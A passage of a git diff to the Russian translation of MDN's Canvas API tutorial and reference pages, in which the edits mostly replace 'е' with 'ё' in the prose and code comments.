<code><strong>Path2D()</strong></code> возвращает вновь созданный объект <code>Path2D</code> необязательно с другим путём в качестве аргумента (создаёт копию) или необязательно со строкой, состоящей из данных пути <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a> .</dd> </dl> <pre class="brush: js notranslate">new Path2D(); // пустой path объект @@ -540,7 +540,7 @@ new Path2D(d); // path из SVG</pre> <h3 id="Path2D_пример">Path2D пример</h3> -<p>В этом примере мы создаем прямоугольник и круг. Оба они сохраняются как объект <code>Path2D</code>, поэтому они доступны для последующего использования. С новым API <code>Path2D</code> несколько методов были обновлены, чтобы при необходимости принять объект <code>Path2D</code> для использования вместо текущего пути. Здесь <code>stroke</code> и <code>fill</code> используются с аргументом пути, например, для рисования обоих объектов на холст.</p> +<p>В этом примере мы создаём прямоугольник и круг. Оба они сохраняются как объект <code>Path2D</code>, поэтому они доступны для последующего использования. С новым API <code>Path2D</code> несколько методов были обновлены, чтобы при необходимости принять объект <code>Path2D</code> для использования вместо текущего пути. Здесь <code>stroke</code> и <code>fill</code> используются с аргументом пути, например, для рисования обоих объектов на холст.</p> <div class="hidden"> <pre class="brush: html notranslate"><html> @@ -573,7 +573,7 @@ new Path2D(d); // path из SVG</pre> <h3 id="Использование_SVG_путей">Использование SVG путей</h3> -<p>Еще одна мощная функция нового Canvas <code>Path2D</code> API использует данные пути SVG, <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths">SVG path data</a>, для инициализации путей на вашем холсте. Это может позволить вам передавать данные пути и повторно использовать их как в SVG, так и в холсте.</p> +<p>Ещё одна мощная функция нового Canvas <code>Path2D</code> API использует данные пути SVG, <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths">SVG path data</a>, для инициализации путей на вашем холсте. Это может позволить вам передавать данные пути и повторно использовать их как в SVG, так и в холсте.</p> <p>Путь перемещается в точку (<code>M10 10</code>), а затем горизонтально перемещается на 80 пунктов вправо (<code>h 80</code>), затем на 80 пунктов вниз (<code>v 80</code>), затем на 80 пунктов влево (<code>h -80</code>), а затем обратно на start (<code>z</code>). <br> Этот пример можно увидеть на странице <a href="/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths"><code>Path2D</code> constructor</a>.</p> diff --git a/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html b/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html index 226dfc1e21..e33d9080b4 100644 --- a/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html +++ b/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html @@ -65,7 +65,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_текста <h2 id="Стилизация_текста">Стилизация текста</h2> -<p>В примерах выше мы уже использовали свойство font для изменения размера текста. Кроме него существуют еще несколько свойств, позволяющие настроить вывод текста на canvas:</p> +<p>В примерах выше мы уже использовали свойство font для изменения размера текста. Кроме него существуют ещё несколько свойств, позволяющие настроить вывод текста на canvas:</p> <dl> <dt>{{domxref("CanvasRenderingContext2D.font", "font = value")}}</dt> diff --git a/files/ru/web/api/canvas_api/tutorial/index.html b/files/ru/web/api/canvas_api/tutorial/index.html index 3d6a7e259a..3a01a141e0 100644 --- a/files/ru/web/api/canvas_api/tutorial/index.html +++ b/files/ru/web/api/canvas_api/tutorial/index.html @@ -12,13 +12,13 @@ translation_of: Web/API/Canvas_API/Tutorial Изображения в правой части статьи являются примерами использования <code><a href="/ru/docs/Web/HTML/Element/canvas"><canvas></a>.</code><br> Примеры их создания приводятся в этой статье. </p> -<p>В этом руководстве описываются основы использования элемента <code><canvas></code> для рисования 2D-графики. Приведенные примеры дадут вам понимание того, что вы можете сделать с помощью <canvas>, а использованные в статье фрагменты кода помогут в создании собственных проектов.</p> +<p>В этом руководстве описываются основы использования элемента <code><canvas></code> для рисования 2D-графики. Приведённые примеры дадут вам понимание того, что вы можете сделать с помощью <canvas>, а использованные в статье фрагменты кода помогут в создании собственных проектов.</p> <p><code>Впервые <canvas></code> использовался компанией Apple для создания <a href="https://ru.wikipedia.org/wiki/Dashboard">Mac OS X Dashboard</a>, а затем был реализован в Web-браузерах. На сегодняшний день все основные браузеры поддерживают работу с <canvas>. Тег <code><canvas></code> часть спецификации <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WhatWG Web applications 1.0</a> также известной как HTML5.</p> <h2 id="Before_you_start" name="Before_you_start">Прежде чем начать</h2> -<p>Работа с элементом <strong><code><canvas></code></strong> довольно проста, но потребует от вас базовых знаний <a href="ru/docs/HTML" title="HTML">HTML</a> и <a href="JavaScript" title="JavaScript">JavaScript</a>. Следует предупредить о том, что элемент <code><<strong>canvas></strong></code> не работает в некоторых старых браузерах, но поддерживается большинством современных браузеров. Стандартный размер <strong><code><canvas></code></strong> 300px × 150px (ширина × высота), однако эти размеры могут быть изменены при помощи HTML-атрибутов <code>height</code> и <code>width</code>. Для рисования графики <strong><code><canvas></code></strong> мы будем использовать <code>javascript context object</code>, который создает графику динамически.</p> +<p>Работа с элементом <strong><code><canvas></code></strong> довольно проста, но потребует от вас базовых знаний <a href="ru/docs/HTML" title="HTML">HTML</a> и <a href="JavaScript" title="JavaScript">JavaScript</a>. Следует предупредить о том, что элемент <code><<strong>canvas></strong></code> не работает в некоторых старых браузерах, но поддерживается большинством современных браузеров. Стандартный размер <strong><code><canvas></code></strong> 300px × 150px (ширина × высота), однако эти размеры могут быть изменены при помощи HTML-атрибутов <code>height</code> и <code>width</code>. Для рисования графики <strong><code><canvas></code></strong> мы будем использовать <code>javascript context object</code>, который создаёт графику динамически.</p> <h2 id="In_this_tutorial" name="In_this_tutorial">В этом руководстве</h2> diff --git a/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html b/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html index 40a83917e8..74b0c60df0 100644 --- a/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html +++ b/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html @@ -20,7 +20,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas <h2 id="Советы_по_производительности">Советы по производительности</h2> -<p>Ниже приведен сборник советов по улучшению производительности canvas.</p> +<p>Ниже приведён сборник советов по улучшению производительности canvas.</p> <h3 id="Предварительно_отрисуйте_похожие_примитивы_или_повторяющиеся_объекты_на_offscreen_canvas">Предварительно отрисуйте похожие примитивы или повторяющиеся объекты на offscreen canvas</h3> @@ -46,7 +46,7 @@ myCanvas.getContext('2d').drawImage(myCanvas.offScreenCanvas, 0, 0); <p>При загрузке кэшируйте изображения разных размеров на offscreen canvas, а не постоянно масштабируйте их в {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}.</p> -<h3 id="Используйте_несколько_слоев_canvas_для_сложных_сцен">Используйте несколько слоев canvas для сложных сцен</h3> +<h3 id="Используйте_несколько_слоёв_canvas_для_сложных_сцен">Используйте несколько слоёв canvas для сложных сцен</h3> <p>Вы можете обнаружить, что некоторые объекты в вашем приложении нужно часто перемещать или менять, в то время как другие остаются относительно статичными. Возможной оптимизацией в этой ситуации является наложение ваших элементов с использованием нескольких элементов <code><canvas></code>.</p> @@ -75,7 +75,7 @@ myCanvas.getContext('2d').drawImage(myCanvas.offScreenCanvas, 0, 0); <h3 id="Используйте_простой_CSS_для_больших_фоновых_изображений">Используйте простой CSS для больших фоновых изображений</h3> -<p>Если у вас есть статическое фоновое изображение, вы можете нарисовать его на простом элементе {{HTMLElement("div")}}, используя свойство CSS {{cssxref("background")}}, и расположить его под canvas. Это сведет на нет необходимость рендеринга фона на canvas на каждом тике.</p> +<p>Если у вас есть статическое фоновое изображение, вы можете нарисовать его на простом элементе {{HTMLElement("div")}}, используя свойство CSS {{cssxref("background")}}, и расположить его под canvas. Это сведёт на нет необходимость рендеринга фона на canvas на каждом тике.</p> <h3 id="Масштабирование_холста_с_использованием_CSS-преобразований">Масштабирование холста с использованием CSS-преобразований</h3> @@ -107,7 +107,7 @@ stage.style.transform = 'scale(' + scaleToFit + ')'; <li>Избегайте <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text">рендеринга текста</a>, когда это возможно.</li> <li>Попробуйте разные способы очистки canvas (({{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}, или {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}}, или изменение размера canvas).</li> <li>С анимациями используйте {{domxref("window.requestAnimationFrame()")}} вместо {{domxref("window.setInterval()")}}.</li> - <li>Будьте осторожны с тяжелыми физическими библиотеками.</li> + <li>Будьте осторожны с тяжёлыми физическими библиотеками.</li> </ul> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html b/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html index 8b8653a9b3..67b81c9b63 100644 --- a/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html +++ b/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html @@ -27,7 +27,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas <dd>A {{jsxref ("Uint8ClampedArray")}} представляет собой одномерный массив, содержащий данные в порядке RGBA, с целыми значениями от <code>0</code> до <code>255</code> (в комплекте).</dd> </dl> -<p>Свойство <code>data</code> возвращает {{jsxref ("Uint8ClampedArray")}}, к которому можно получить доступ, чтобы посмотреть на необработанные пиксельные данные; каждый пиксель представлен четырьмя однобайтовыми значениями (красный, зеленый, синий и альфа в этом порядке, то есть формат «RGBA»). Каждый компонент цвета представлен целым числом от 0 до 255. Каждому компоненту присваивается последовательный индекс внутри массива, причем красный компонент верхнего левого пикселя находится в индексе 0 внутри массива. Затем пиксели идут слева направо, затем вниз, по всему массиву.</p> +<p>Свойство <code>data</code> возвращает {{jsxref ("Uint8ClampedArray")}}, к которому можно получить доступ, чтобы посмотреть на необработанные пиксельные данные; каждый пиксель представлен четырьмя однобайтовыми значениями (красный, зелёный, синий и альфа в этом порядке, то есть формат «RGBA»). Каждый компонент цвета представлен целым числом от 0 до 255. Каждому компоненту присваивается последовательный индекс внутри массива, причём красный компонент верхнего левого пикселя находится в индексе 0 внутри массива. Затем пиксели идут слева направо, затем вниз, по всему массиву.</p> <p>{{Jsxref ("Uint8ClampedArray")}} содержит высоту × ширину × 4 байта данных, значения индекса варьируются от 0 до (высота × ширина × 4) -1.</p> @@ -46,7 +46,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas <pre class="brush: js">var myImageData = ctx.createImageData(width, height);</pre> -<p>Это создает новый объект <code>ImageData</code> с указанными параметрами. Все пиксели заданы прозрачным черным.</p> +<p>Это создаёт новый объект <code>ImageData</code> с указанными параметрами. Все пиксели заданы прозрачным черным.</p> <p>Вы также можете создать новый объект <code>ImageData</code> ImageData с теми же размерами, что и объект, заданный <code>anotherImageData</code> . Все пиксели нового объекта установлены на прозрачный черный. <strong>Это не копирует данные изображения!</strong></p> @@ -61,7 +61,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas <p>Этот метод возвращает объект <code>ImageData</code> , представляющий пиксельные данные для области холста, углы которого представлены точками (<code>left</code> , <code>top</code>), (<code>left+width</code> , <code>top</code>), (<code>left</code> , <code>top+height</code>) и (<code>left+width</code> , <code>top+height</code>). Координаты задаются в единицах пространства координат холста.</p> <div class="note"> -<p><strong>Примечание:</strong> Любые пиксели за пределами холста возвращаются как прозрачный черный цвет в результирующий объект <code>ImageData</code> .</p> +<p><strong>Примечание:</strong> Любые пиксели за пределами холста возвращаются как прозрачный чёрный цвет в результирующий объект <code>ImageData</code> .</p> </div> <p>Этот метод также показан в статье <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a>.</p> @@ -116,7 +116,7 @@ canvas.addEventListener('mousemove', pick); <h3 id="Оттенки_серого_цвета_и_инвертирование_цветов">Оттенки серого цвета и инвертирование цветов</h3> -<p>В этом примере мы перебираем все пиксели для изменения их значений, а затем помещаем модифицированный массив пикселей обратно в canvas с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a>. Функция инвертирования просто вычитает каждый цвет из максимального значения 255. Функция оттенков серого просто использует среднее значение красного, зеленого и синего. Вы также можете использовать средневзвешенное значение, заданное формулой <code>x = 0.299r + 0.587g + 0.114b</code>, например. Для дополнительной информации см. <a href="http://en.wikipedia.org/wiki/Grayscale">Grayscale</a> в Википедии.</p> +<p>В этом примере мы перебираем все пиксели для изменения их значений, а затем помещаем модифицированный массив пикселей обратно в canvas с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a>. Функция инвертирования просто вычитает каждый цвет из максимального значения 255. Функция оттенков серого просто использует среднее значение красного, зелёного и синего. Вы также можете использовать средневзвешенное значение, заданное формулой <code>x = 0.299r + 0.587g + 0.114b</code>, например. Для дополнительной информации см. <a href="http://en.wikipedia.org/wiki/Grayscale">Grayscale</a> в Википедии.</p> <div class="hidden"> <pre class="brush: html;"><canvas id="canvas" width="300" height="227"></canvas> @@ -179,7 +179,7 @@ function draw(img) { Math.abs(x - 5), Math.abs(y - 5), 10, 10, 0, 0, 200, 200);</pre> -<p>Поскольку по умолчанию включено сглаживание, мы можем захотеть отключить сглаживание, чтобы увидеть четкие пиксели. Вы можете переключить флажок, чтобы увидеть эффект свойства <code>imageSmoothingEnabled</code> (которому нужны префиксы для разных браузеров).</p> +<p>Поскольку по умолчанию включено сглаживание, мы можем захотеть отключить сглаживание, чтобы увидеть чёткие пиксели. Вы можете переключить флажок, чтобы увидеть эффект свойства <code>imageSmoothingEnabled</code> (которому нужны префиксы для разных браузеров).</p> <h6 class="hidden" id="Zoom_example">Zoom example</h6> @@ -242,9 +242,9 @@ function draw(img) { <dd>Имейте в виду, что если холст содержит пиксели, полученные из другого {{Glossary ("origin")}} без использования CORS, холст будет <strong>испорчен</strong>, и его содержимое больше не будет считываться и сохраняться. Смотрите {{SectionOnPage ("/en-US/docs/Web/HTML/CORS_enabled_image", "Безопасность и испорченные холсты")}}</dd> <dt></dt> <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/png')")}}</dt> - <dd>Настройки по умолчанию. Создает изображение в формате PNG.</dd> + <dd>Настройки по умолчанию. Создаёт изображение в формате PNG.</dd> <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/jpeg', quality)")}}</dt> - <dd>Создает изображение в формате JPG. Дополнительно вы можете задать параметр "качество" (quality) в диапазоне от 0 до 1, причем единица задает лучшее качество и 0 - почти не распознаваемый, но небольшой по размеру файл.</dd> + <dd>Создаёт изображение в формате JPG. Дополнительно вы можете задать параметр "качество" (quality) в диапазоне от 0 до 1, причём единица задаёт лучшее качество и 0 - почти не распознаваемый, но небольшой по размеру файл.</dd> </dl> <p>После того как вы создали URI данные из своего холста, вы можете использовать его как источник любого {{HTMLElement ("image")}} или поместить его в гиперссылку с <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#attr-download">download attribute</a>, чтобы сохранить его на диске, например.</p> @@ -253,7 +253,7 @@ function draw(img) { <dl> <dt>{{domxref("HTMLCanvasElement.toBlob", "canvas.toBlob(callback, type, encoderOptions)")}}</dt> - <dd>Создает объект <code>Blob</code>, представляющий изображение, содержащееся в холсте.</dd> + <dd>Создаёт объект <code>Blob</code>, представляющий изображение, содержащееся в холсте.</dd> </dl> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/canvas_api/tutorial/transformations/index.html b/files/ru/web/api/canvas_api/tutorial/transformations/index.html index 85acddca88..bdba6eae69 100644 --- a/files/ru/web/api/canvas_api/tutorial/transformations/index.html +++ b/files/ru/web/api/canvas_api/tutorial/transformations/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <dt>{{domxref("CanvasRenderingContext2D.save", "save()")}}</dt> <dd><span class="notranslate">Сохраняет все состояние холста.</span></dd> <dt>{{domxref("CanvasRenderingContext2D.restore", "restore()")}}</dt> - <dd><span class="notranslate">Восстанавливает последнее сохраненное состояние холста.</span></dd> + <dd><span class="notranslate">Восстанавливает последнее сохранённое состояние холста.</span></dd> </dl> <p>Состояние холста сохраняется в стеке. Каждый раз, когда вызывается метод <code>save()</code>, текущее состояние отрисовки записывается в стек. Состояние отрисовки содержит:</p> @@ -80,7 +80,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <h3 id="A_translate_example" name="A_translate_example">Пример использования <code>translate</code></h3> -<p><span class="tlid-translation translation" lang="ru"><span title="">Этот пример демонстрирует некоторые преимущества</span></span> при использовании смещения холста. Без использования метода <code>translate()</code> все прямоугольники будут отрисованы в одинаковой позиции (0,0). Метод <code>translate()</code> дает возможность размещения прямоугольника в любой позиции без изменения параметров функции <code>fillRect()</code>. Это может дать некоторое упрощение для понимания и использования.</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Этот пример демонстрирует некоторые преимущества</span></span> при использовании смещения холста. Без использования метода <code>translate()</code> все прямоугольники будут отрисованы в одинаковой позиции (0,0). Метод <code>translate()</code> даёт возможность размещения прямоугольника в любой позиции без изменения параметров функции <code>fillRect()</code>. Это может дать некоторое упрощение для понимания и использования.</p> <p>Внутри функции <code>draw()</code> мы вызываем <code>fillRect()</code> девять раз, используя два цикла <code>for</code>. Каждый раз мы сохраняем состояние холста, смещаем его, рисуем прямоугольник, а затем восстанавливаем исходное состояние. Заметьте, что <code>fillRect()</code> всегда использует одни и те же параметры, а изменение позиции фигуры осуществляется с помощью <code>translate()</code>.</p> @@ -192,7 +192,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations ctx.fillRect(1, 10, 10, 10); ctx.restore(); - // размещаем текст, отраженный по горизонтали + // размещаем текст, отражённый по горизонтали ctx.scale(-1, 1); ctx.font = '48px serif'; ctx.fillText('MDN', -135, 120); @@ -214,7 +214,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <dl> <dt>{{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}</dt> - <dd>Накладывает матрицу преобразования, заданную параметрами, на текущую матрицу. Матрица преобразования задается следующим образом: <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]</annotation></semantics></math></dd> + <dd>Накладывает матрицу преобразования, заданную параметрами, на текущую матрицу. Матрица преобразования задаётся следующим образом: <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]</annotation></semantics></math></dd> </dl> <dl> diff --git a/files/ru/web/api/canvas_api/tutorial/using_images/index.html b/files/ru/web/api/canvas_api/tutorial/using_images/index.html index 65470e1d07..c8e40a0c5f 100644 --- a/files/ru/web/api/canvas_api/tutorial/using_images/index.html +++ b/files/ru/web/api/canvas_api/tutorial/using_images/index.html @@ -9,7 +9,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Использование_изобр <div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Трансформации")}}</div> <div class="summary"> -<p>До сих пор мы создавали наши собственные фигуры и применяли стили к ним. Одна из самых впечатляющих функций {{HTMLElement("canvas")}} это возможность использования изображений. Они могут быть использованы для динамического композитинга фото или как фоны графиков, для спрайтов в играх, и так далее. Внешние изображения могут быть использованы в любых поддерживаемых браузером форматах, таких как PNG, GIF, или JPEG. Вы можете даже использовать изображение, произведенное другими canvas элементами на той же странице как источник!</p> +<p>До сих пор мы создавали наши собственные фигуры и применяли стили к ним. Одна из самых впечатляющих функций {{HTMLElement("canvas")}} это возможность использования изображений. Они могут быть использованы для динамического композитинга фото или как фоны графиков, для спрайтов в играх, и так далее. Внешние изображения могут быть использованы в любых поддерживаемых браузером форматах, таких как PNG, GIF, или JPEG. Вы можете даже использовать изображение, произведённое другими canvas элементами на той же странице как источник!</p> </div> <p>Импортирование изображений в canvas в основном состоит из 2 этапов:</p> @@ -62,15 +62,15 @@ original_slug: Web/API/Canvas_API/Tutorial/Использование_изобр <p>Другой способ это создать новые {{domxref("HTMLImageElement")}} объекты в нашем скрипте. Чтобы это сделать, вы можете использовать удобный <code>Image()</code> конструктор:</p> -<pre class="brush: js">var img = new Image(); // Создает новый элемент изображения +<pre class="brush: js">var img = new Image(); // Создаёт новый элемент изображения img.src = 'myImage.png'; // Устанавливает путь </pre> -<p>Когда этот скрипт выполнится, изображение начнет загружаться.</p> +<p>Когда этот скрипт выполнится, изображение начнёт загружаться.</p> <p>Если вы попытаетесь вызвать функцию <code>drawImage()</code> перед тем как изображение загрузится, то скрипт ничего не сделает (или, в старых браузерах, может даже выдать исключение). Поэтому вам необходимо использовать событие load, чтобы вы не пытались сделать это прежде, чем изображение загрузится:</p> -<pre class="brush: js">var img = new Image(); // Создает новое изображение +<pre class="brush: js">var img = new Image(); // Создаёт новое изображение img.addEventListener("load", function() { // здесь выполняет drawImage функцию }, false); @@ -83,7 +83,7 @@ img.src = 'myImage.png'; // Устанавливает источник файл <p>Другой возможный способ включить изображение это через <a class="external" href="/en-US/docs/Web/HTTP/data_URIs" rel="external" title="http://en.wikipedia.org/wiki/Data:_URL">data: url</a>. Data URLs позволяет вам полностью определить изображение как Base64 кодированную строку символов прямо в ваш код.</p> -<pre class="brush: js">var img = new Image(); // Создает новый элемент img +<pre class="brush: js">var img = new Image(); // Создаёт новый элемент img img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw=='; </pre> @@ -105,7 +105,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs } </pre> -<p>Эта функция вернет {{domxref("HTMLVideoElement")}} объект для этого видео, который, как мы упоминали ранее, является одним из объектов, который можно использовать как <code>CanvasImageSource</code>.</p> +<p>Эта функция вернёт {{domxref("HTMLVideoElement")}} объект для этого видео, который, как мы упоминали ранее, является одним из объектов, который можно использовать как <code>CanvasImageSource</code>.</p> <h2 id="Рисование_изображений">Рисование изображений</h2> @@ -154,7 +154,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs <h2 id="Изменение_размеров">Изменение размеров</h2> -<p>Второй вариант метода <code>drawImage()</code> добавляет два новых параметра и позволяет разместить изображение в canvas с измененными размерами.</p> +<p>Второй вариант метода <code>drawImage()</code> добавляет два новых параметра и позволяет разместить изображение в canvas с изменёнными размерами.</p> <dl> <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y, width, height)")}}</dt> @@ -163,7 +163,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs <h3 id="Пример_Тайлинг_изображения">Пример: Тайлинг изображения</h3> -<p>В этом примере, мы будем использовать изображение в качестве обоев и повторим его в canvas несколько раз. Это может быть сделано просто через цикл, располагая измененные изображения на разных позициях. В коде внизу, первый цикл <code>for</code> проходит по рядам. Второй цикл <code>for</code> проходит по колонкам. Изображение уменьшено на треть от реального размера, которое было 50x38 пикселей.</p> +<p>В этом примере, мы будем использовать изображение в качестве обоев и повторим его в canvas несколько раз. Это может быть сделано просто через цикл, располагая изменённые изображения на разных позициях. В коде внизу, первый цикл <code>for</code> проходит по рядам. Второй цикл <code>for</code> проходит по колонкам. Изображение уменьшено на треть от реального размера, которое было 50x38 пикселей.</p> <div class="note"> <p><strong>Обратите внимание</strong>: Изображения могут стать размытыми, при большом увеличении или зернистыми при значительном уменьшении. Возможно, лучше всего не изменять размеры изображения, если на них есть текст, который должен остаться читаемым. </p> @@ -197,7 +197,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs <h2 id="Нарезка">Нарезка</h2> -<p>У третьего и последнего варианта метода <code>drawImage()</code> в дополнении к источнику изображения есть еще восемь параметров . Он позволяет нам вырезать кусок из изображения, затем изменить его размер и нарисовать его в canvas.</p> +<p>У третьего и последнего варианта метода <code>drawImage()</code> в дополнении к источнику изображения есть ещё восемь параметров . Он позволяет нам вырезать кусок из изображения, затем изменить его размер и нарисовать его в canvas.</p> <dl> <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)")}}</dt> @@ -210,7 +210,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs <h3 id="Пример_Обрамление_изображения">Пример: Обрамление изображения</h3> -<p>В этом примере, мы будем использовать того же носорога, что и в предыдущем примере, но мы отрежем его голову и включим ее в рамку. Изображение рамки это 24-х битный PNG, который включает падающую тень. Так как в 24-х битные PNG изображения включается полный 8-ми битный альфа-канал, в отличие от GIF и 8-битных PNG изображений, он может быть помещен в любой фон, без беспокойства о матовом цвете. </p> +<p>В этом примере, мы будем использовать того же носорога, что и в предыдущем примере, но мы отрежем его голову и включим её в рамку. Изображение рамки это 24-х битный PNG, который включает падающую тень. Так как в 24-х битные PNG изображения включается полный 8-ми битный альфа-канал, в отличие от GIF и 8-битных PNG изображений, он может быть помещён в любой фон, без беспокойства о матовом цвете. </p> <pre class="brush: html"><html> <body onload="draw();"> @@ -300,7 +300,7 @@ td { // Не добавляет canvas для изображения рамки if (document.images[i].getAttribute('id')!='frame'){ - // Создает элемент canvas + // Создаёт элемент canvas var canvas = document.createElement('canvas'); canvas.setAttribute('width',132); canvas.setAttribute('height',150); diff --git a/files/ru/web/api/canvascapturemediastreamtrack/index.html b/files/ru/web/api/canvascapturemediastreamtrack/index.html index 9705e65314..ecfbf9756b 100644 --- a/files/ru/web/api/canvascapturemediastreamtrack/index.html +++ b/files/ru/web/api/canvascapturemediastreamtrack/index.html @@ -49,7 +49,7 @@ translation_of: Web/API/CanvasCaptureMediaStreamTrack <h2 id="Совместимость_браузера">Совместимость браузера</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data </a>и пошлите нами запрос тяги.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data </a>и пошлите нами запрос тяги.</div> <p>{{Compat ("api.CanvasCaptureMediaStreamTrack")}}</p> </div> diff --git a/files/ru/web/api/canvasgradient/index.html b/files/ru/web/api/canvasgradient/index.html index d3e23dc501..2b5a45212c 100644 --- a/files/ru/web/api/canvasgradient/index.html +++ b/files/ru/web/api/canvasgradient/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/CanvasGradient <dl> <dt>{{domxref("CanvasGradient.addColorStop()")}}</dt> - <dd>Добавляет в градиент новый маркер, определяемый смещением и цветом. <code>Если смещение входдит за пределы 0</code> и <code>1</code>, генерируется <code>INDEX_SIZE_ERR</code>. Если не удается обработать цвет как CSS {{cssxref("<color>")}}, генерируется <code>SYNTAX_ERR</code>.</dd> + <dd>Добавляет в градиент новый маркер, определяемый смещением и цветом. <code>Если смещение входдит за пределы 0</code> и <code>1</code>, генерируется <code>INDEX_SIZE_ERR</code>. Если не удаётся обработать цвет как CSS {{cssxref("<color>")}}, генерируется <code>SYNTAX_ERR</code>.</dd> </dl> <h2 id="Характеристики"><span class="short_text" id="result_box" lang="ru"><span>Характеристики</span></span></h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/arc/index.html b/files/ru/web/api/canvasrenderingcontext2d/arc/index.html index fe39629a52..0d8a97de99 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/arc/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/arc/index.html @@ -41,7 +41,7 @@ translation_of: Web/API/CanvasRenderingContext2D/arc <h3 id="Using_the_arc_method" name="Using_the_arc_method">Использование метода <code>arc</code></h3> -<p>Ниже приведен пример простого кода который рисует круг.</p> +<p>Ниже приведён пример простого кода который рисует круг.</p> <h4 id="HTML">HTML</h4> diff --git a/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html b/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html index 3e74f3015b..d1b461f3b1 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html @@ -41,7 +41,7 @@ translation_of: 